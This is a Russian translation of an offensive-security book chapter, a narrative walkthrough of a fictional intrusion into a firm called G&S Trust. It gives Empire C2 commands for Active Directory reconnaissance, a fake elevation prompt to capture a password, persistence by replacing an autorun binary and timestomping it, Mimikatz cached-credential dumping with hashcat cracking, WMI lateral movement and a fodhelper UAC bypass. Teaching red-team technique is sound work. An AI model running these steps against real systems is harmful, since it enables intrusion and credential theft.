Посвящённая обходу ограничений Citrix в блоге NetSPI, озаглавленная "Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks" (Вырываемся из развёртываемых через терминальные службы, Citrix и киоски приложений)

Документация Microsoft по построению интерактивной консоли PowerShell

Часть IV: Избавление

Упал на колени и молился

"Да будет воля Твоя"

Я обернулся, увидел свет сияющий через

Дверь была широко распахнута

Майк Портной. Театр мечты. Стеклянная тюрьма

Глава 13. Охота за данными

Содержание

Глава 13. Охота за данными

Обозреваем защиту

Сбор сведений

Охотимся за данными

Проверка привилегий

Удержание

Набег на улей

Втираемся в доверие

Получение учётных данных

Ресурсы

Прошло три недели с тех пор, как мы внедрили тот дополнительный фрагмент кода в следующий выпуск Strat Accounting. Если всё прошло как запланировано, в некий момент времени G&S Trust запустит в своих машинах версию с этим тайным ходом, снабжая нас доступом к своим глубинным секретам: списками офшорных компаний, фальшивым номиналам, скрытым активам и многому иному.

Время от времени мы подключаемся к удалённому сеансу Citrix разработчика для проверки продвижения нашего проекта, но, как и в случае с большинством разрабатываемых проектов, новый выпуск запускается с опозданием на несколько дней.

Мы проверяем свои несколько строк кода, все ещё глубоко скрытых в естественном коде проекта. Хотя инструкции по инициализации были пару раз изменены похоже, никто в Strat Jumbo не менял наш код, за исключением добавления выделенного жирным шрифтом в листинге 13-1 комментария.

Листинг 13.1. Наш потайной ход всё ещё встроен внутри общего кода

search = new (ManagementObjectSearcher("SELECT * FROM Win32_VideoController");
foreach (ManagementObject obj in search.Get())
{
   // Интересно. Подлежит заимствованию и включению в проект TYRION
   // для обхода проблем с виртуализацией Ref?
   string name = obj["Name"].ToString().Trim().ToLower();
--snip--

Как мило с их стороны!

Оставляем всё как есть и ждём ещё пару дней. Затем, в одно прекрасное утро понедельника, мы получаем долгожданный первый проблеск маяка в своём сервере C2:

(Empire: agents) > [+] Initial agent 9USWTPY4 from 219.75.27.16 now active (Slack)

Мы связываемся с этим агентом и выполняем команду sysinfo для сбора основных системных сведений:

(Empire: agents) > interact 9USWTPY4
(Empire: 9USWTPY4) > sysinfo
(Empire: 9USWTPY4) > sysinfo: 0|http://172:16:11:25:443|GSTRUST|yui|WL0089|192.169.1.24|...

В отклике нашей полезной нагрузки чётко указывается GSTRUST , что устраняет любые возможные сомнения относительно происхождения этого агента. Мы успешно взломали G&S Trust! Мы запускаем по быстрому команду whois для её IP адреса чтобы определить какой офис включил наш потайной ход:

root@FrontLine:~# whois 219.75.27.16
inetnum:        219.74.0.0 - 219.75.127.255
netname:        SINGNET-SG
country:        SG

Результат SG в строке кода страны указывает на то, что мы, скорее всего, имеем дело с офисом в Сингапуре. Означает ли это, что данная компания проводит пилотный запуск нашей новой версии Strat Accounting на одной рабочей станции G&S Trust для проверки обновления перед глобальным развёртыванием? Может быть. Мы несколько минут ещё наблюдаем и нервно ждём не перекроет ли этот первый проблеск света какой- нибудь выявивший подобное маячковое поведение продукт безопасности.

Проходит 10 минут ... 20 ... 30 и бам! Оболочки начинают сливаться из двух дополнительных офисов на Кипре и в Гонконге. К нашей великой радости, через пару часов к нам присоединяются Мальта и Сейшельские острова. Приведём перечень наших текущих агентов Empire дабы исследовать свою добычу:

(Empire: agents) > list
Name        Internal IP    Machine Name   Username
9USWTPY4    192.168.1.24   WL0089         GSTRUST\yui
GLPNAC4X    192.168.1.76   WL0038         GSTRUST\mark
YVEBTSRU    192.168.0.11   WV0054         GSTRUST\ted
672S4HKR    192.168.0.55   WV0012         GSTRUST\sarah
--snip--

За последние несколько часов домой обратилось в общей сложности восемь машин G&S Trust. Всё идёт по плану!

Прежде чем глубже погрузиться в тылы врага, у нас имеется ещё одна ближайшая цель: разведка! Мы желаем отыскать сведения обо все продуктах безопасности, которые могут быть установлены в этих машинах или осуществлять активный мониторинг данной сетевой среды.

Обозреваем защиту

Все маячковые проблески систем выглядят машинами с Windows 10. Ужасные воспоминания остаются на всю жизнь, поэтому мы начинаем свою разведку с целевых команд определения того включены ли MDE и ATA. Сначала при помощи команды tasklist мы ищем MDE для проверки наличия какого- нибудь процесса MsSense.exe:

(Empire) > interact 7S92RXMZ
(Empire: 7S92RXMZ) > shell tasklist /v | findstr /I sense

Command execution completed.

Здесь нечего не видно.

Затем проверяем наличие ATA при помощи поиска любой доменной группы с названием "Microsoft Advanced Threat Analytics Administrators", воспользовавшись модулем get_group из PowerView:

(Empire: 7S92RXMZ) > use powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > set LDAPFilter "(description=*Threat*)"
(Empire: get_group) > run
Job started: G1TBWF

Get-DomainGroup completed!

Потрясающе! Наш вывод не даёт никаких намёков ни на MDE, ни на ATA ни в одной из наших машин!

Затем мы внимательно рассмотрим запущенные в этих восьми машинах процессы и выявим, что они работают под управлением Symantec Endpoint Protection версии 12.1, которая не поддерживает AMSI:

Empire: 7S92RXMZ) > shell wmic process getexecutablepath
--snip--
C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\ 12.1.7369.6900\Bin\smcgui.exe
--snip--

Это означает, что AMSI мы также можем вычеркнуть из своего списка! Мы запрашиваем ключи реестра ScriptBlock Logging и дублирования SystemWide дабы узнать включены ли они:

(Empire: 7S92RXMZ) > shell reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

ERROR: The system was unable to find the specified registry key or value.

(Empire: 7S92RXMZ) > shell reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

ERROR: The system was unable to find the specified registry key or value.

Оценка: мы обнаруживаем их отключёнными! Напомним, что у нас имеется доступ к восьми компьютерам Windows 10, в которых отсутствуют некоторые из наиболее важных функциональных возможностей безопасности для этой последней версии. Мальчик, это будет больно!

Теперь мы можем без опаски нажимать на кнопки слегка сильнее и выполнять более обширную разведку Active Directory.

Сбор сведений

Мы начнём с перечисления доменных групп, пользователей, компьютеров, совместных сетевых ресурсов и organizational units (OU, подразделений). OU представляют собой логическую группу пользователей и компьютеров с общими настройками внутри домена. Встроенный в Empire PowerView удобно представляет модуль для каждой из этих задач, поэтому достаточно при помощи команды usemodule загрузить каждый из этих модулей и исполнить их, как это показано в Листинге 13.2.

Листинг 13.2. Перечисление групп, пользователей, компьютеров и OU

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_group
(Empire: get_group) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_user
(Empire: get_user) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_computer
(Empire: get_computer) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/get_ou
(Empire: get_ou) > run

Empire удерживает дубликаты всех команд, выводов и файлов выгруженными в папке Empire/downloads/<agent_name> folder. Полученные результаты всех наших предыдущих команд сохранятся в файле agent.log внутри такой папки (в данном случае, 7S92RXMZ).

Мы тщательно просматриваем списки доменных групп и пользователей, но в качестве полезного ничто не выделяется. Мы не можем обнаружить ничего похожего на группу наблюдения за безопасностью или какую- либо общую группу безопасности, если уж на то пошло. Мы находим обычные технические учётные записи с такими названиями как backup, activesync, build master и тому подобными, но ни одна из них не принадлежит к какому бы то ни было продукту безопасности и не применяется им.

Принимая во внимание размер компании, это не удивительно. G&S Trust не намерена подписываться на услугу SOC для покрытия своих 5 файловых серверов, 20 рабочих станций и 1 сервера Exchange, не говоря уж о развёртывании тяжёлого снаряжения, которое должно обслуживаться целой командой ИТ поддержки.

Все компьютеры и пользователи по всем офисам G&S Trust по всему миру выглядят относящимися к одному и тому же домену Active Directory, gstrust.corp:

root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# grep "DC=" agent.log
...DC=gstrust,DC=corp,
...DC=gstrust,DC=corp,
...DC=gstrust,DC=corp,
--snip--

Этот домен управляется четырьмя глобальными администраторами домена. Мы можем выполнить выборку всех имён этих четырёх администраторов из журнала вывода команд через поиск строки "Domain Admins":

root@C2Server:7S92RXMZ/# grep -A10 "CN=Domain Admins" agent.log

name                   : Domain Admins
member                 :
CN=admin.ceasar  ,CN=Users,DC=gstrust,DC=corp,
CN=admin.han     ,CN=Users,DC=gstrust,DC=corp,
CN=admin.gloria  ,CN=Users,DC=gstrust,DC=corp,
CN=admin.taylor  ,CN=Users,DC=gstrust,DC=corp

Обратите внимание на формат admin.firstname для всех этих учётных записей - кажется, что G&S Trust следует хорошо известной практике отделения учётных записей администраторов от учётных записей пользователей. Можно только догадываться, распространяется ли такое разделение на применяемые пароли и рабочие станции. В будущем мы изучим эту догадку.

Домен компании разбит на несколько подразделений, причём в каждом из них размещаются пользователи и машины из различных географических офисов. Здесь мы получаем перечень OU:

root@C2Server:~# grep -A1 "CN=Organizational-Unit" agent.log

objectcategory        : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=gstrust,DC=corp
ou : HongKong

--
objectcategory        : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=gstrust,DC=corp
ou : Malta
--snip--

Аналогичным образом бизнес группы выглядят разбитыми на разделы по регионам:

root@C2Server:~# grep -A1 "GROUP_OBJECT" agent.log

samaccounttype        : GROUP_OBJECT
samaccountname        : SGAcctDrive
--
samaccounttype        : GROUP_OBJECT
samaccountname        : CSLegalDrive
--
samaccounttype        : GROUP_OBJECT
samaccountname        : VIP
--snip--

Такое подробное разбиение намекает на жёсткий контроль доступа, применяемый к объектам Active Directory, таким как совместные сетевые ресурсы, скорее всего, в попытке изолировать фиктивные компании одного региона от прочих офисов. Мы можем столкнуться с некоторыми трудностями при переключении между учётными записями и машинами в разных регионах. Конечно, ещё рано обсуждать это, но мы уже можем себе представить как они поделили свою архитектуру.

Охотимся за данными

Все полученные нами до сих пор проблесковые сигналы исходили от бухгалтерских отделов различных региональных офисов, что не лишено смысла, поскольку мы внедрили свой потайной ход в код Strat Accounting. Это означает, что теоретически, у нас уже имеется доступ ко всем бухгалтерским сведениям, размещённым в G&S Trust. Например, чтобы ориентироваться на зарегистрированные а Гонконге компании, нам просто требуется найти правильного бухгалтера, принадлежащего к нужному подразделению (OU). Согласно полученным нами на данный момент сведениям, Юи- бухгалтер гонконгского подразделения, так что она наша непосредственная цель.

Поскольку в данной ситуации мы не имеем дело с подкованными в ИТ пользователями, нам, скорее всего, не понадобятся причудливые трюки и обходные пути для поиска данных на машине Юи. Свет должен простой взгляд в её личную папку:

(Empire: 7S92RXMZ) > cd c:\users\yui
Path
----
C:\users\yui\documents

(Empire: 7S92RXMZ) > dir
LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2021 2:18:25 PM         Desktop
3/8/2022 5:41:47 PM          Documents
1/20/2022 10:32:49 PM        Downloads
1/20/2022 10:32:49 PM        Taxes_2021
1/20/2022 10:32:50 PM        Accounting_2021
--snip--

Мы замечаем две занимательные папки: Taxes_2021 и Accounting_2021. Давайте заглянем и в них:

(Empire: 7S92RXMZ) > cd Accounting_2021; dir
LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2021 2:18:25 PM         Hielo Corp.
3/8/2022 5:41:47 PM          Ayomi Inc.
1/20/2022 10:32:49 PM        Great Fund Yoa Corp.
--snip--

Для выборки сведений из этих двух папок, которые содержат возвраты налогов, затраты, квитанции на путешествия и прочие сведения о счетах, относящихся к 150 зарегистрированным в G&S Trust Гонконга с датами в прошедшем 2021 году компаний, мы воспользуемся командой download Empire. Недурно, но мы можем быть ещё лучше.

По датам в папках видно, что Юи хранит только локальные копии своих самых последних проектов; остальные файлы должны находиться в общем сервере где-нибудь в офисе в Гонконге. Посмотрим, сможем ли мы найти эту часть. Мы перечисляем все установленные в настоящее время на рабочей станции Юи общие ресурсы, вызвав команду net use:

(Empire: 7S92RXMZ) > shell net use

Status  Local Remote                   Network
-----------------------------------------------------------
OK      F:    \\GS-HK-01\HKAccounting$ Microsoft Windows Network
OK      G:    \\GS-HK-01\YuiHome$      Microsoft Windows Network
OK      W:    \\GS-HK-01\Common$       Microsoft Windows Network

(Empire: 7S92RXMZ) > dir F:\
LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2020 2:18:25 PM         2020
1/2/2019 5:41:47 PM          2019
1/12/2018 10:32:49 PM        2018
--snip--
1/10/2006 10:32:49 PM        2005

Нам удалось! Теперь у нас имеется доступ к бухгалтерским сведениям, начиная с 2005 года! Это гораздо интереснее. Мы воспользуемся таким же подходом для поиска бухгалтерской информации, относящейся к четырём другим местам: Кипру, Мальте, Сейшельским островам и Сингапуру.

Рисунок 13.1 отображает часть сведений, которые нам удалось собрать. Бухгалтерские данные дают нам много информации о различных подставных компаниях: чистый доход, источники доходов, виды расходов, количество сотрудников, операции, зарплаты и тому подобное. Всё это может нам помочь в разоблачении некоторых крупных корпораций, вовлечённых в теневые схемы уклонения от уплаты налогов при помощи G&S Trust.

Рисунок 13.1

Сведения о данных счетов

Хотя, несомненно, эти сведения представляют интерес, потребуется несколько месяцев, чтобы проанализировать их до такой степени, чтобы мы смогли точно определить схемы хищения и прочие теневые сделки. Более того, нам по- прежнему не хватает некоторых важных элементов, скажем, кто на самом деле стоит за этими корпорациями, а также личности конечных бенефициаров, скрывающих людей, стоящих за управляющими данными корпорациями номинальными лицами. Это является самым основным секретом, который тщательно хранится в G&S Trust. Пока мы отложим эти учётные данные в сторону и продолжим поиск потенциальных хабов данных.

Мы перечисляем все совместные ресурсы в своей сетевой среде при помощи модуля share_finder Empire. Когда мы сможем получить доступ к общим ресурсам для юридического отдела, мы сможем обнаружить, что они где- то хранят идентификаторы и общие сертификаты:

(Empire: 7S92RXMZ) > usemodule powershell/situational_awareness/network/powerview/share_finder
(Empire: share_finder) > run
Name             Type Remark          ComputerName
----             ---- ------          ------------
ExCom       114748390                 GS-ML-01.gstrust.corp
HR          109127512                 GS-ML-02.gstrust.corp
Legal        81051094                 GS-ML-02.gstrust.corp
Accounting  252081194                 GS-SC-01.gstrust.corp
Portfolio   612081294                 GS-HK-01.gstrust.corp
NETLOGON     81190512 Logon serv...   GS-ML-01.gstrust.corp
SYSVOL       81190512 Logon serv...   GS-ML-01.gstrust.corp
--snip--

Мы наблюдаем совместные ресурсы, но для учётной записи Юи запрещён доступ к большинству папок, включая Legal, HR и ExCom. Она обладает доступом лишь к папке Accounting в локальном сервере Гонконга. Строгая секретность, необходимая бизнесу G&S Trust, по крайней мере, вынудила их ввести строгие правила доступа для противодействия очевидным утечкам данных. Справедливо. Требуется некоторое повышение привилегий.

Проверка привилегий

Empire помечает сеансы администратора небольшой звёздочкой (*) за которой следует имя пользователя. Мы можем наблюдать, что Юи не имеет такой звёздочки:

(Empire: agents) > list
Name        Internal IP    Machine Name    Username
9USWTPY4    192.168.1.24   WL0089          GSTRUST\yui
--snip--

Мы просматриваем восемь различных интерактивных сеансов, к которым у нас в настоящее время имеется доступ, однако ни один из них не обладает привилегиями локального администратора, не говоря уж о привилегиях администратора домена. Чтобы отыскать пользователей, как минимум, с привилегиями локального администратора на своих рабочих станциях, мы ищем пользователей с атрибутом admincount больше нуля. У нас уже есть сведения о результатах выполнения команды get_user на этапе разведки:

root@C2Server:7S92RXMZ/# grep -E -B2 "admincount \s+: 1" agent.log
--snip--
samaccountname                : admin.georges
admincount                    : 181
--
samaccountname                : Administrator
logonhours                    : {255, 255, 255, 255...}
admincount                    : 1091
--
objectsid                     : S-1-5-21-2894670206-2000249805-1028998937-1002
samaccountname                : admin.sarah
admincount                    : 191
--
--snip--

Мы можем наблюдать, что почти все учётные записи администраторов следуют одному и тому же соглашению имён: admin.username. А если вы внимательно следили, то заметили, что одного из пользователей, которого мы идентифицировали ранее, звали Сара (бухгалтер в офисе на Кипре). Спорим, что она это admin.sarah?

В настоящее время у нас имеется запущенная оболочка Empire в компьютере Сары. Скорее всего, она пользуется тем же самым паролем для своей стандартной учётной записи администратора, но, поскольку мы этого тоже не знаем, мы попали в ловушку парадокса курицы и яйца: мы сможем получить стандартный пароль пользователя Сары при помощи Mimikatz, но для этого нам требуются права администратора, которые мы не можем получить без пароля Сары.

Точно так же, как Дарвин раз и навсегда разрешил спор о курице и яйце, мы тоже сможем найти выход из своей нынешней ловушки. Существует несколько вариантов: мы модем запустить простой keylogger и ждать пока Сара не задумываясь, наберёт свой пароль, или же мы можем просмотреть её личные файлы в надежде, что она записала его в неком текстовом файле, потому как боялась, что забудет его, или же мы можем просто вежливо спросить её.

Empire содержит занятный модуль с названием privesc/ask, который пытается запускать процесс в режиме администратора. Это приводит к знакомому диалогу Windows, запрашивающему повышения полномочий для выполнения такого нового процесса. Спешащие вернуться к своему видео на YouTube или к новостям в Facebook люди, зачастую вежливо подчиняются, вводя свои пароли без лишних вопросов. Давайте посмотрим, сможем ли мы заманить Сару в ловушку при помощи такого диалога. Мы получаем идентификатор агента из нашего списка заражённых машин:

(Empire: agents) > list

Name        Internal IP     Machine Name    Username
672S4HKR    192.168.0.55    WV0012          GSTRUST\sarah
--snip--

Затем мы прыгаем в свой потайной ход 672S4HKR, в настоящее время запущенный в её машине и выполняем модуль privesc/ask:

(Empire:) > interact 672S4HKR
(Empire: 672S4HKR) > usemodule privesc/ask
(Empire: ask) > set Listener https_1
(Empire: ask) > run
Job started: XS8A57

[*] Successfully elevated!
[+] Initial agent REH4UX5P from 31.153.12.34 now active (Slack)

Бугага! Empire автоматически перехватил этот пароль и создал новый сеанс администратора, который выполняет вызов домой. Теперь у нас имеется новый доступный в компьютере Сары агент, обладающий гораздо более высокими полномочиями:

(Empire: ask) > agents
Name        Internal IP     Machine Name     Username
REH4UX5P    192.168.0.55    WV0012           *GSTRUST\admin.sarah
672S4HKR    192.168.0.55    WV0012           GSTRUST\sarah
--snip--

Обратите внимание на соседствующую с именем пользователя Сары звёздочку, указывающую на сеанс с повышенными правами. Мы обладаем полным контролем над её компьютером. Сейчас мы побеседуем!

Удержание

Прежде чем двигаться далее, давайте на секунду задумаемся над своим постоянством. С технической точки зрения, наличие восьми оболочек по всему миру можно считать слабым видом удержания. Однако теперь, когда у нас имеются права администратора на компьютере Сары, мы могли бы разработать более безопасную форму постоянства; а именно ту, которая способна перенести перезагрузку и сохранить наши права администратора в этом ящике вне зависимости от того что происходит с сетевым подключением.

Существует множество способов улучшения сохраняемости, от регистрации событий WMI до создания служб и разделов реестра автозапуска. Программа автозапуска Марка Руссиновича, вероятно, содержит наиболее полный список мест для запуска некой программы во время запуска. Мы могли бы ниспровергнуть это знание, чтобы обнаружить самый незаметный и самый нетрадиционный способ сокрытия нашей постоянно присутствующей полезной нагрузки.

Однако в нашей конкретной ситуации, поскольку мы сталкиваемся со столь незначительным сопротивлением, нет необходимости чрезмерного усложнения нашей стратегии постоянства. Мы просто внедрим удачно размещённый и, казалось бы безобидный исполняемый файл. В последнее время создаётся впечатление, что всякая установленная в машине Windows программа поставляется с бесполезным исполняемым файлом, который запускается совместно со стартом машины, а Adobe в наши дни лидирует в размещении автоматического обновления во всех машинах, в которых работают их приложения. Мы можем воспользоваться этой неприятностью, заменив существующий исполняемый файл нашим собственным потайным ходом: небольшой программой проверки работоспособности C#, которой мы пользовались в Главе 12 и которая загружает и запускает агента Empire.

Хотя и существует множество разделов реестра, позволяющих стартовать программы во время запуска, большинство поставщиков программного обеспечения выбирают классический ключ Run. Мы запрашиваем такой ключ Run при помощи своей команды shell reg query:

Empire: REH4UX5P) > shell reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"

AdobeGCInvoker-1.0    REG_SZ    "C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility.exe"

LENOVO.TPKREAS        REG_SZ    "C:\Program Files\Lenovo\Communications Utility\TPKNRRES.exe"

AdobeAAMUpdater-1.0   REG_SZ    "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"

Это даёт нам в качестве цели кучу исполняемых файлов - достаточно рыбы в мелкой воде. Мы принимаем решение перекрыть AGCInvokerUtility.exe на наш потайной ход health-check. Мы переименовываем его, чтобы он носил то же название:

root@FrontLine:~/$ cp health-check AGCInvokerUtility

затем переключаемся на приглашение ввода Empire и выгружаем его:

Empire: REH4UX5P) > cd "C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility"

Empire: REH4UX5P) > upload AGCInvokerUtility.exe

Чтобы превратить свой исполняемый файл кукушки в более гармоничный, мы изменим времена его модификации, доступа и создания (MAC, modification, access и creation), на времена, показанные первоначальным исполняемым файлом. Получаем атрибуты MAC старого двоичного файла:

Empire: REH4UX5P) > Get-Item AGCInvokerUtility_old.exe | select creationtime, lastaccesstime,
lastwritetime
CreationTime        LastAccessTime     LastWriteTime
------------        --------------     -------------
02/12/2013 12:31    02/12/2013 12:31   02/12/2013 12:31

и устанавливаем эти значения дат для своего нового двоичного файла:

Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).creationtime=$(get-date '02/12/2013 12:31')

Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).lastaccesstime=$(get-date '02/12/2013 12:31')

Empire: REH4UX5P) > powershell $(get-item AGCInvokerUtility.exe).lastwritetime=$(get-date '02/12/2013 12:31')

Даже когда Сара выключит свой компьютер на выходные или повторно установит Strat Accounting по какой бы то ни было причине, этот новый потайной ход обеспечит нас обратным доступом к её машине, в которой мы запросто снова сможем получить доступ с правами администратора.

Теперь, когда у нас имеется надёжная схема удержания администратора, давайте вернёмся назад к делам.

Набег на улей

Воспользовавшись учётной записью администратора Сары мы попытаемся подключиться к серверам G&S Trust во всех пяти регионах. Тем не менее, кажется, что ей полномочия ограничены лишь её рабочей станцией, что должно быть ожидаемым для владельца обычной учётной записи, которому, скорее всего, просто требуются временные права администратора для применения или установки определённых инструментов. Нет причин для беспокойства - в нашем колчане ещё полно стрел.

Мы перематываем обратно и задумываемся о том, как работают системы Windows. Нам известно, что Windows обладает тенденцией хранить удивительное число паролей, разбросанных по всем четырём сторонам света операционной системы. Большинство хакеров знакомы с базой данных Security Account Manager, в которой хранятся хэши паролей локальных учётных записей, а также с процессом LSASS, в котором хранятся хэши или пароли недавно подключённых пользователей. Однако менее известны сейф (vault) Windows и улье SECURITY.

Такой Windows vault применяется сторонними приложениями, такими как Internet Explorer, Outlook и Wi-Fi для хранения полномочий пользователя зашифрованным и безопасным способом. Такой сейф может быть интересен в некоторых особых вариантах применения, когда основная цель состоит в жатве данных с какого- то приложения, но он мало чем полезен нам при получении доступа к прочим серверам.

SECURITY hive (улей БЕЗОПАСНОСТИ), с другой стороны, намного более интересная цель. Улей (hive) в Windows (или, чтобы быть более точным, registry hive) это логическая группа ключей реестра имеющая в основе некий файл на диске. Улей SECURITY, таким образом это некий физический файл на диске, соответствующий ключу реестра HKLM\SECURITY. Для того чтобы разрешить регистрацию пользователя в системе при лежащей сетевой среде, имеющийся подчинённый ключ HKLM\SECURITY\Cache хранит локальную копию тех полномочий, которые в последний раз вводились в этой машине.

Мы можем проверить максимальное число кэшированных полномочий, хранящихся в данной машине следующим образом:

Empire: REH4UX5P) > shell reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount

CachedLogonsCount    REG_SZ    10

Это означает, что если некий администратор ИТ поддержки был одним из последних 10 людей, подключавшихся к компьютеру Сары, его хешированный пароль всё ещё пребывает в улье SECURITY.

Однако сам пароль не хранится в открытом виде в этом компьютере. Он хэшируется при помощи RC4, добавляется соль с именем пользователя, а затем передаётся функция PBKDF2 для создания второго хэша. Затем этот хэш шифруется при помощи ключа, найденного в улье SYSTEM, а результат сохраняется в ключе реестра HKLM\SECURITY\Cache. К счастью, несколько глав назад мы построили мощную установку для взлома, так что у нас имеется идеальное оружие чтобы взломать эту систему хэширования и получить пароль в открытом виде.

Извлечь значение хэша из ключа реестра Cache способен целый ряд инструментов от Mimikatz до secretsdump.py SecureAuthCorp (части проекта Impacket). Во враждебной среде со строгими мерами обнаружения мы, скорее всего, сделаем дамп улья SECURITY применив обычные инструменты Windows, а затем загрузим его в свой сервер C2 чтобы извлечь кэшированные учётные данные а автономном режиме при помощи одного из таких инструментов. Но поскольку, как нам кажется, мы пребываем в гораздо менее ограниченной среде, давайте просто загрузим Mimikatz через своего агента Empire и сразу же вызовем команду lsadump::cache:

 Empire: REH4UX5P) > usemodule credentials/mimikatz/lsadump
 Empire: lsadump) > run
 mimikatz(powershell) # lsadump::cache
 Domain : GSTRUST / S-1-5-21-1888508460-581619696-3689331320
 SysKey: ea0fad2f73ad366ef5c9b1370d241657
¹* Iteration is set to default (10240)

 [NL$1 - 02/03/2014 21:33:05]
 RID       : 000003e8 (1000)
²User     : GSTRUST\admin.joey
 MsCacheV2 : 6C2459549C56B5B0E8AA702419641366

Отлично! Мы подготовили этот вывод под hashcat добавив значение имени пользователя² и число отображаемых Mimikatz витков PBKDF2¹, а затем сохраняем это в файле с названием hash.txt:

C:\> type hash.txt
admin.joey $DCC2$10240#admin.joey#6C2459549C56B5B0E8AA702419641366

Затем мы запускаем hashcat, пользуясь своим бесценным списком слов на нашей дорогой установке для взлома и позволяем ей работать несколько часов.

C:\> .\hashcat64.exe -m2100 hash.txt complete_wordlist.txt -r custom_rule.txt

Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
--snip--
  admin.joey $DCC2$...: Ronan1987
Candidates.#1....: burnout -> Ronan1987

Бинго! Мы получили уч1тные данные для второго аккаунта. Теперь возникает вопрос на миллион долларов: обладает ли этот admin.joey повышенными полномочиями над каким- нибудь из серверов? Проверяем сведения о Джои в своём agent.log:

root@C2Server:7S92RXMZ/# grep -A1 -I "givenname : admin.joey" agent.log
givenname             : admin.joey
memberof              : CN=GS Server Maintenance,CN=Users,...
--
givenname             : admin.joey
memberof              : CN=Users,DC=gstrust,DC=corp

Мы видим, что эта учётная запись входит в группу GS Server Maintenance, поэтому она должна иметь, как минимум, права администратора в одном или в двух серверах. Самый быстрый способ узнать наверняка - запустить нового агента Empire и проверить такую учётную запись на себе. Чтобы повысить наши шансы, мы выбрали серверы, расположенные в том же регионе, что и Джоуи, и Сара, Кипр:

root@C2Server:~# grep -B3 "OU=Cyprus" agent.log

--snip--
distinguishedname             : CN=GS-CS-01,OU=Cyprus,DC=GSTRUST,DC=CORP
operatingsystem               : Windows Server 2019 Standard
--snip--

Мы передаём полномочия admin.joey в модуль invoke_wmi и назначаем целью сервер GS-CS-01:

(Empire: REH4UX5P) > creds add GSTRUST admin.joey Ronan1987
Credentials:
  CredID  CredType   Domain   UserName    Password
  ------  --------   ------   --------    --------
  1       plaintext  GSTRUST  admin.joey  Ronan1987

(Empire: REH4UX5P) > usemodule lateral_movement/invoke_wmi
(Empire: invoke_wmi) > set Listener https_1
(Empire: invoke_wmi) > set CredID 1
(Empire: invoke_wmi) > set ComputerName GS-CS-01.GSTRUST.CORP
(Empire: invoke_wmi) > run

[+] Initial agent EM57KLGF from 31.153.12.34 now active

Как и ожидалось, мы получили новую оболочку из сервера GS-CS-01. Ура, это наш первый сервер, которым мы овладели в сетевой среде G&S Trust!

admin.joey и в самом деле обладает правами администратора в этом компьютере и, скорее всего, на всех прочих серверах, поскольку глобальная группа обслуживания GS Server Maintenance, судя по всему, является частью локальных administrators этого сервера (если это верно для данного сервера, то же может быть верным и для прочих):

(Empire: invoke_wmi) > interact EM57KLGF
Empire: EM57KLGF) > shell net localgroup administrators

Members
------------------------------------------------------
Administrator
GSTRUST\Domain admins
GSTRUST\GS Server Maintenance

Занятно отметить, что разделение на регионы, столь строго применяемое для доступа с бизнес- типом, не воспроизводится для доступа ИТ администратора. Опять же, эта компания, вероятно, не видит необходимости в локальной ИТ команде в каждом офисе. Тем не менее, у нас пока нет полной ясности.

Втираемся в доверие

Если мы продолжим и выполним mimikatz в этой новой оболочке, мы получим восхитительное сообщение ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005), которое, в целом, говорит: "У вас недостаточно полномочий". Да, да, admin.joey и в самом деле является администратором в этом сервере, однако его сеанс Empire в настоящее время не использует полные права администратора. Он работает стандартном пользовательском режиме. Чтобы заменить этот контекст с низким уровнем привилегий на контекст администратора, нам необходимо одобрить приглашение на ввод, отображаемый в графическом интерфейсе, к которому у нас нет доступа, а потому, очевидно, мы не можем выполнить это в настоящий момент времени. Такое приглашение носит название Контроля учётных данных (UAC, User Account Control) и нам требуется его обойти.

Однако имеется луч надежды: подписанные Microsoft доверенные исполняемые файлы, к тому же запускаемые из известных мест, скажем, C:\windows\system32, не являются предметом для UAC. Такие доверенные исполняемые файлы способны автоматически запрашивать токен высоких полномочий и изменять свою систему любым удобным для них способом. Оказывается, некоторые из таких доверенных исполняемых файлов будут принимать и оперативно исполнять произвольный код, а потому нам просто требуется подготовить верную полезную нагрузку и сообщать им о необходимости её исполнения для нас, причём минуя UAC.

Одним из таких свободных от UAC исполняемых файлов выступает fodhelper.exe, как это было обнаружено немецким хакером @winscripting в его блоге. В далёком 2007 он выявил, что в процессе исполнения fodhelper.exe для исполняемого хранящегося в нём файла он просматривает ключ реестра HKCU\Software\Classes\ms-settings\shell\open\command. Обратите внимание на тот факт, что этот ключ реестра расположен в HKCU, что является сокращением для HKEY_CURRENT_USER; это именно то место, в которое мы имеем возможность выполнять запись без полномочий администратора. Итак, подведём итог: при помощи своего стандартного пользовательского токена мы запишем свою команду в раздел реестра HKCU\Software\Classes\ms-settings\shell\open\command, который будет запускаться не подлежащим UAC доверенным исполняемым файлом fodhelper.exe, что приводит к полному обходу установленной функциональной возможности безопасности.

Мы можем либо самостоятельно создавать такие ключи реестра, либо просто полагаться на модуль privesc/bypassuac_fodhelper Empire для достижения того же самого результата. Мы голосуем за последнее:

Empire: EM57KLGF) > usemodule privesc/bypassuac_fodhelper
Empire: bypassuac) > run
